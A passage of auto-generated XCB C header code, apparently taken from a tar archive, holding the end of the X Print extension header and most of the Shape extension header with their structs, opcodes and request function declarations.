(xcb_connection_t *c, uint32_t context_id, uint32_t printerNameLen, uint32_t localeLen, const xcb_x_print_string8_t *printerName, const xcb_x_print_string8_t *locale); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_create_context (xcb_connection_t *c, uint32_t context_id, uint32_t printerNameLen, uint32_t localeLen, const xcb_x_print_string8_t *printerName, const xcb_x_print_string8_t *locale); xcb_x_print_string8_t * xcb_x_print_create_context_printer_name (const xcb_x_print_create_context_request_t *R); int xcb_x_print_create_context_printer_name_length (const xcb_x_print_create_context_request_t *R); xcb_generic_iterator_t xcb_x_print_create_context_printer_name_end (const xcb_x_print_create_context_request_t *R); xcb_x_print_string8_t * xcb_x_print_create_context_locale (const xcb_x_print_create_context_request_t *R); int xcb_x_print_create_context_locale_length (const xcb_x_print_create_context_request_t *R); xcb_generic_iterator_t xcb_x_print_create_context_locale_end (const xcb_x_print_create_context_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_set_context_checked (xcb_connection_t *c, uint32_t context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_set_context (xcb_connection_t *c, uint32_t context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_context_cookie_t xcb_x_print_print_get_context (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_context_cookie_t xcb_x_print_print_get_context_unchecked (xcb_connection_t *c); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_context_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_context_reply_t * xcb_x_print_print_get_context_reply (xcb_connection_t *c, xcb_x_print_print_get_context_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_destroy_context_checked (xcb_connection_t *c, uint32_t context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_destroy_context (xcb_connection_t *c, uint32_t context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_screen_of_context_cookie_t xcb_x_print_print_get_screen_of_context (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_screen_of_context_cookie_t xcb_x_print_print_get_screen_of_context_unchecked (xcb_connection_t *c); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_screen_of_context_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_screen_of_context_reply_t * xcb_x_print_print_get_screen_of_context_reply (xcb_connection_t *c, xcb_x_print_print_get_screen_of_context_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_start_job_checked (xcb_connection_t *c, uint8_t output_mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_start_job (xcb_connection_t *c, uint8_t output_mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_end_job_checked (xcb_connection_t *c, uint8_t cancel); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_end_job (xcb_connection_t *c, uint8_t cancel); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_start_doc_checked (xcb_connection_t *c, uint8_t driver_mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_start_doc (xcb_connection_t *c, uint8_t driver_mode); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_end_doc_checked (xcb_connection_t *c, uint8_t cancel); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_end_doc (xcb_connection_t *c, uint8_t cancel); int xcb_x_print_print_put_document_data_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_put_document_data_checked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t len_data, uint16_t len_fmt, uint16_t len_options, const uint8_t *data, const xcb_x_print_string8_t *doc_format, const xcb_x_print_string8_t *options); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_put_document_data (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t len_data, uint16_t len_fmt, uint16_t len_options, const uint8_t *data, const xcb_x_print_string8_t *doc_format, const xcb_x_print_string8_t *options); uint8_t * xcb_x_print_print_put_document_data_data (const xcb_x_print_print_put_document_data_request_t *R); int xcb_x_print_print_put_document_data_data_length (const xcb_x_print_print_put_document_data_request_t *R); xcb_generic_iterator_t xcb_x_print_print_put_document_data_data_end (const xcb_x_print_print_put_document_data_request_t *R); xcb_x_print_string8_t * xcb_x_print_print_put_document_data_doc_format (const xcb_x_print_print_put_document_data_request_t *R); int xcb_x_print_print_put_document_data_doc_format_length (const xcb_x_print_print_put_document_data_request_t *R); xcb_generic_iterator_t xcb_x_print_print_put_document_data_doc_format_end (const xcb_x_print_print_put_document_data_request_t *R); xcb_x_print_string8_t * xcb_x_print_print_put_document_data_options (const xcb_x_print_print_put_document_data_request_t *R); int xcb_x_print_print_put_document_data_options_length (const xcb_x_print_print_put_document_data_request_t *R); xcb_generic_iterator_t xcb_x_print_print_put_document_data_options_end (const xcb_x_print_print_put_document_data_request_t *R); int xcb_x_print_print_get_document_data_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_document_data_cookie_t xcb_x_print_print_get_document_data (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t max_bytes); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_document_data_cookie_t xcb_x_print_print_get_document_data_unchecked (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t max_bytes); uint8_t * xcb_x_print_print_get_document_data_data (const xcb_x_print_print_get_document_data_reply_t *R); int xcb_x_print_print_get_document_data_data_length (const xcb_x_print_print_get_document_data_reply_t *R); xcb_generic_iterator_t xcb_x_print_print_get_document_data_data_end (const xcb_x_print_print_get_document_data_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_document_data_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_document_data_reply_t * xcb_x_print_print_get_document_data_reply (xcb_connection_t *c, xcb_x_print_print_get_document_data_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_start_page_checked (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_start_page (xcb_connection_t *c, xcb_window_t window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_end_page_checked (xcb_connection_t *c, uint8_t cancel); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_end_page (xcb_connection_t *c, uint8_t cancel); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_select_input_checked (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t event_mask); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_select_input (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t event_mask); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_input_selected_cookie_t xcb_x_print_print_input_selected (xcb_connection_t *c, xcb_x_print_pcontext_t context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_input_selected_cookie_t xcb_x_print_print_input_selected_unchecked (xcb_connection_t *c, xcb_x_print_pcontext_t context); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_input_selected_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_input_selected_reply_t * xcb_x_print_print_input_selected_reply (xcb_connection_t *c, xcb_x_print_print_input_selected_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_x_print_print_get_attributes_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_attributes_cookie_t xcb_x_print_print_get_attributes (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint8_t pool); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_attributes_cookie_t xcb_x_print_print_get_attributes_unchecked (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint8_t pool); xcb_x_print_string8_t * xcb_x_print_print_get_attributes_attributes (const xcb_x_print_print_get_attributes_reply_t *R); int xcb_x_print_print_get_attributes_attributes_length (const xcb_x_print_print_get_attributes_reply_t *R); xcb_generic_iterator_t xcb_x_print_print_get_attributes_attributes_end (const xcb_x_print_print_get_attributes_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_attributes_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_attributes_reply_t * xcb_x_print_print_get_attributes_reply (xcb_connection_t *c, xcb_x_print_print_get_attributes_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_x_print_print_get_one_attributes_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_one_attributes_cookie_t xcb_x_print_print_get_one_attributes (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t nameLen, uint8_t pool, const xcb_x_print_string8_t *name); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_one_attributes_cookie_t xcb_x_print_print_get_one_attributes_unchecked (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t nameLen, uint8_t pool, const xcb_x_print_string8_t *name); xcb_x_print_string8_t * xcb_x_print_print_get_one_attributes_value (const xcb_x_print_print_get_one_attributes_reply_t *R); int xcb_x_print_print_get_one_attributes_value_length (const xcb_x_print_print_get_one_attributes_reply_t *R); xcb_generic_iterator_t xcb_x_print_print_get_one_attributes_value_end (const xcb_x_print_print_get_one_attributes_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_one_attributes_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_one_attributes_reply_t * xcb_x_print_print_get_one_attributes_reply (xcb_connection_t *c, xcb_x_print_print_get_one_attributes_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_x_print_print_set_attributes_sizeof (const void *_buffer, uint32_t attributes_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_x_print_print_set_attributes_checked (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t stringLen, uint8_t pool, uint8_t rule, uint32_t attributes_len, const xcb_x_print_string8_t *attributes); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_x_print_print_set_attributes (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint32_t stringLen, uint8_t pool, uint8_t rule, uint32_t attributes_len, const xcb_x_print_string8_t *attributes); xcb_x_print_string8_t * xcb_x_print_print_set_attributes_attributes (const xcb_x_print_print_set_attributes_request_t *R); int xcb_x_print_print_set_attributes_attributes_length (const xcb_x_print_print_set_attributes_request_t *R); xcb_generic_iterator_t xcb_x_print_print_set_attributes_attributes_end (const xcb_x_print_print_set_attributes_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_page_dimensions_cookie_t xcb_x_print_print_get_page_dimensions (xcb_connection_t *c, xcb_x_print_pcontext_t context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_page_dimensions_cookie_t xcb_x_print_print_get_page_dimensions_unchecked (xcb_connection_t *c, xcb_x_print_pcontext_t context); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_page_dimensions_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_page_dimensions_reply_t * xcb_x_print_print_get_page_dimensions_reply (xcb_connection_t *c, xcb_x_print_print_get_page_dimensions_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_x_print_print_query_screens_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_query_screens_cookie_t xcb_x_print_print_query_screens (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_query_screens_cookie_t xcb_x_print_print_query_screens_unchecked (xcb_connection_t *c); xcb_window_t * xcb_x_print_print_query_screens_roots (const xcb_x_print_print_query_screens_reply_t *R); int xcb_x_print_print_query_screens_roots_length (const xcb_x_print_print_query_screens_reply_t *R); xcb_generic_iterator_t xcb_x_print_print_query_screens_roots_end (const xcb_x_print_print_query_screens_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_query_screens_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_query_screens_reply_t * xcb_x_print_print_query_screens_reply (xcb_connection_t *c, xcb_x_print_print_query_screens_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_set_image_resolution_cookie_t xcb_x_print_print_set_image_resolution (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint16_t image_resolution); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_set_image_resolution_cookie_t xcb_x_print_print_set_image_resolution_unchecked (xcb_connection_t *c, xcb_x_print_pcontext_t context, uint16_t image_resolution); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_set_image_resolution_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_set_image_resolution_reply_t * xcb_x_print_print_set_image_resolution_reply (xcb_connection_t *c, xcb_x_print_print_set_image_resolution_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_x_print_print_get_image_resolution_cookie_t xcb_x_print_print_get_image_resolution (xcb_connection_t *c, xcb_x_print_pcontext_t context); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_x_print_print_get_image_resolution_cookie_t xcb_x_print_print_get_image_resolution_unchecked (xcb_connection_t *c, xcb_x_print_pcontext_t context); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_x_print_print_get_image_resolution_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_x_print_print_get_image_resolution_reply_t * xcb_x_print_print_get_image_resolution_reply (xcb_connection_t *c, xcb_x_print_print_get_image_resolution_cookie_t cookie /**< */, xcb_generic_error_t **e); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/shape.h 0000644 00000050506 15246445047 0006612 0 ustar 00 /* * This file generated automatically from shape.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_Shape_API XCB Shape API * @brief Shape XCB Protocol Implementation. * @{ **/ #ifndef __SHAPE_H #define __SHAPE_H #include "xcb.h" #include "xproto.h" #ifdef __cplusplus extern "C" { #endif #define XCB_SHAPE_MAJOR_VERSION 1 #define XCB_SHAPE_MINOR_VERSION 1 extern xcb_extension_t xcb_shape_id; typedef uint8_t xcb_shape_op_t; /** * @brief xcb_shape_op_iterator_t **/ typedef struct xcb_shape_op_iterator_t { xcb_shape_op_t *data; int rem; int index; } xcb_shape_op_iterator_t; typedef uint8_t xcb_shape_kind_t; /** * @brief xcb_shape_kind_iterator_t **/ typedef struct xcb_shape_kind_iterator_t { xcb_shape_kind_t *data; int rem; int index; } xcb_shape_kind_iterator_t; typedef enum xcb_shape_so_t { XCB_SHAPE_SO_SET = 0, XCB_SHAPE_SO_UNION = 1, XCB_SHAPE_SO_INTERSECT = 2, XCB_SHAPE_SO_SUBTRACT = 3, XCB_SHAPE_SO_INVERT = 4 } xcb_shape_so_t; typedef enum xcb_shape_sk_t { XCB_SHAPE_SK_BOUNDING = 0, XCB_SHAPE_SK_CLIP = 1, XCB_SHAPE_SK_INPUT = 2 } xcb_shape_sk_t; /** Opcode for xcb_shape_notify. */ #define XCB_SHAPE_NOTIFY 0 /** * @brief xcb_shape_notify_event_t **/ typedef struct xcb_shape_notify_event_t { uint8_t response_type; xcb_shape_kind_t shape_kind; uint16_t sequence; xcb_window_t affected_window; int16_t extents_x; int16_t extents_y; uint16_t extents_width; uint16_t extents_height; xcb_timestamp_t server_time; uint8_t shaped; uint8_t pad0[11]; } xcb_shape_notify_event_t; /** * @brief xcb_shape_query_version_cookie_t **/ typedef struct xcb_shape_query_version_cookie_t { unsigned int sequence; } xcb_shape_query_version_cookie_t; /** Opcode for xcb_shape_query_version. */ #define XCB_SHAPE_QUERY_VERSION 0 /** * @brief xcb_shape_query_version_request_t **/ typedef struct xcb_shape_query_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_shape_query_version_request_t; /** * @brief xcb_shape_query_version_reply_t **/ typedef struct xcb_shape_query_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t major_version; uint16_t minor_version; } xcb_shape_query_version_reply_t; /** Opcode for xcb_shape_rectangles. */ #define XCB_SHAPE_RECTANGLES 1 /** * @brief xcb_shape_rectangles_request_t **/ typedef struct xcb_shape_rectangles_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_shape_op_t operation; xcb_shape_kind_t destination_kind; uint8_t ordering; uint8_t pad0; xcb_window_t destination_window; int16_t x_offset; int16_t y_offset; } xcb_shape_rectangles_request_t; /** Opcode for xcb_shape_mask. */ #define XCB_SHAPE_MASK 2 /** * @brief xcb_shape_mask_request_t **/ typedef struct xcb_shape_mask_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_shape_op_t operation; xcb_shape_kind_t destination_kind; uint8_t pad0[2]; xcb_window_t destination_window; int16_t x_offset; int16_t y_offset; xcb_pixmap_t source_bitmap; } xcb_shape_mask_request_t; /** Opcode for xcb_shape_combine. */ #define XCB_SHAPE_COMBINE 3 /** * @brief xcb_shape_combine_request_t **/ typedef struct xcb_shape_combine_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_shape_op_t operation; xcb_shape_kind_t destination_kind; xcb_shape_kind_t source_kind; uint8_t pad0; xcb_window_t destination_window; int16_t x_offset; int16_t y_offset; xcb_window_t source_window; } xcb_shape_combine_request_t; /** Opcode for xcb_shape_offset. */ #define XCB_SHAPE_OFFSET 4 /** * @brief xcb_shape_offset_request_t **/ typedef struct xcb_shape_offset_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_shape_kind_t destination_kind; uint8_t pad0[3]; xcb_window_t destination_window; int16_t x_offset; int16_t y_offset; } xcb_shape_offset_request_t; /** * @brief xcb_shape_query_extents_cookie_t **/ typedef struct xcb_shape_query_extents_cookie_t { unsigned int sequence; } xcb_shape_query_extents_cookie_t; /** Opcode for xcb_shape_query_extents. */ #define XCB_SHAPE_QUERY_EXTENTS 5 /** * @brief xcb_shape_query_extents_request_t **/ typedef struct xcb_shape_query_extents_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t destination_window; } xcb_shape_query_extents_request_t; /** * @brief xcb_shape_query_extents_reply_t **/ typedef struct xcb_shape_query_extents_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint8_t bounding_shaped; uint8_t clip_shaped; uint8_t pad1[2]; int16_t bounding_shape_extents_x; int16_t bounding_shape_extents_y; uint16_t bounding_shape_extents_width; uint16_t bounding_shape_extents_height; int16_t clip_shape_extents_x; int16_t clip_shape_extents_y; uint16_t clip_shape_extents_width; uint16_t clip_shape_extents_height; } xcb_shape_query_extents_reply_t; /** Opcode for xcb_shape_select_input. */ #define XCB_SHAPE_SELECT_INPUT 6 /** * @brief xcb_shape_select_input_request_t **/ typedef struct xcb_shape_select_input_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t destination_window; uint8_t enable; uint8_t pad0[3]; } xcb_shape_select_input_request_t; /** * @brief xcb_shape_input_selected_cookie_t **/ typedef struct xcb_shape_input_selected_cookie_t { unsigned int sequence; } xcb_shape_input_selected_cookie_t; /** Opcode for xcb_shape_input_selected. */ #define XCB_SHAPE_INPUT_SELECTED 7 /** * @brief xcb_shape_input_selected_request_t **/ typedef struct xcb_shape_input_selected_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t destination_window; } xcb_shape_input_selected_request_t; /** * @brief xcb_shape_input_selected_reply_t **/ typedef struct xcb_shape_input_selected_reply_t { uint8_t response_type; uint8_t enabled; uint16_t sequence; uint32_t length; } xcb_shape_input_selected_reply_t; /** * @brief xcb_shape_get_rectangles_cookie_t **/ typedef struct xcb_shape_get_rectangles_cookie_t { unsigned int sequence; } xcb_shape_get_rectangles_cookie_t; /** Opcode for xcb_shape_get_rectangles. */ #define XCB_SHAPE_GET_RECTANGLES 8 /** * @brief xcb_shape_get_rectangles_request_t **/ typedef struct xcb_shape_get_rectangles_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; xcb_shape_kind_t source_kind; uint8_t pad0[3]; } xcb_shape_get_rectangles_request_t; /** * @brief xcb_shape_get_rectangles_reply_t **/ typedef struct xcb_shape_get_rectangles_reply_t { uint8_t response_type; uint8_t ordering; uint16_t sequence; uint32_t length; uint32_t rectangles_len; uint8_t pad0[20]; } xcb_shape_get_rectangles_reply_t; /** * Get the next element of the iterator * @param i Pointer to a xcb_shape_op_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_shape_op_t) */ void xcb_shape_op_next (xcb_shape_op_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_shape_op_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_shape_op_end (xcb_shape_op_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_shape_kind_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_shape_kind_t) */ void xcb_shape_kind_next (xcb_shape_kind_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_shape_kind_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_shape_kind_end (xcb_shape_kind_iterator_t i); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_shape_query_version_cookie_t xcb_shape_query_version (xcb_connection_t *c); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_shape_query_version_cookie_t xcb_shape_query_version_unchecked (xcb_connection_t *c); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_shape_query_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_shape_query_version_reply_t * xcb_shape_query_version_reply (xcb_connection_t *c, xcb_shape_query_version_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_shape_rectangles_sizeof (const void *_buffer, uint32_t rectangles_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_shape_rectangles_checked (xcb_connection_t *c, xcb_shape_op_t operation, xcb_shape_kind_t destination_kind, uint8_t ordering, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset, uint32_t rectangles_len, const xcb_rectangle_t *rectangles); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_shape_rectangles (xcb_connection_t *c, xcb_shape_op_t operation, xcb_shape_kind_t destination_kind, uint8_t ordering, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset, uint32_t rectangles_len, const xcb_rectangle_t *rectangles); xcb_rectangle_t * xcb_shape_rectangles_rectangles (const xcb_shape_rectangles_request_t *R); int xcb_shape_rectangles_rectangles_length (const xcb_shape_rectangles_request_t *R); xcb_rectangle_iterator_t xcb_shape_rectangles_rectangles_iterator (const xcb_shape_rectangles_request_t *R); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_shape_mask_checked (xcb_connection_t *c, xcb_shape_op_t operation, xcb_shape_kind_t destination_kind, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset, xcb_pixmap_t source_bitmap); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_shape_mask (xcb_connection_t *c, xcb_shape_op_t operation, xcb_shape_kind_t destination_kind, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset, xcb_pixmap_t source_bitmap); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_shape_combine_checked (xcb_connection_t *c, xcb_shape_op_t operation, xcb_shape_kind_t destination_kind, xcb_shape_kind_t source_kind, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset, xcb_window_t source_window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_shape_combine (xcb_connection_t *c, xcb_shape_op_t operation, xcb_shape_kind_t destination_kind, xcb_shape_kind_t source_kind, xcb_window_t destination_window, int16_t x_offset, int16_t y_offset, xcb_window_t source_window); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_shape_offset_checked 